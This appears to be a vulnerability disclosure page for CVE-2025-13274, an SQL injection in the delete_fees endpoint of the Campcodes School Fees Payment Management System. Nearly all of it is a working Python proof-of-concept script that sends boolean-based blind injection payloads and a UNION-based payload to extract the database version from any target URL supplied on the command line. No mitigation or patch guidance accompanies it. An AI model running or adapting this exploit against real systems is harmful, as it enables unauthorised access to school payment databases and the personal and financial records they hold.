CVE-2025-13274 Campcodes学校收费管理系统delete_fees接口SQL注入漏洞

#!/usr/bin/env python3 """ CVE-2025-13274 PoC - Campcodes School Fees Payment Management System SQL Injection Affected Component: /ajax.php?action=delete_fees (ID parameter) """ import requests import sys def exploit_sqli(target_url, payload): """ Execute SQL injection attack on delete_fees endpoint """ params = { 'action': 'delete_fees', 'id': payload } try: response = requests.get(target_url, params=params, timeout=10) return response.text except requests.exceptions.RequestException as e: print(f"[!] Request failed: {e}") return None def extract_db_version(target_url): """ Extract database version using UNION-based injection """ payload = "1 UNION SELECT NULL,version(),NULL,NULL---" result = exploit_sqli(target_url, payload) if result: print("[*] Database version extraction successful") return result return None def blind_sqli_test(target_url): """ Test for blind boolean-based SQL injection """ true_payload = "1 AND 1=1" false_payload = "1 AND 1=2" true_resp = exploit_sqli(target_url, true_payload) false_resp = exploit_sqli(target_url, false_payload) if true_resp != false_resp: print("[+] Blind SQL injection confirmed") return True return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-13274.py <target_url>") print("Example: python cve-2025-13274.py http://target.com/ajax.php") sys.exit(1) target = sys.argv[1] print(f"[*] Testing CVE-2025-13274 on {target}") # Test blind SQL injection if blind_sqli_test(target): print("[+] Target is vulnerable to SQL injection") # Extract database version version_info = extract_db_version(target) if version_info: print(f"[*] Version info: {version_info}")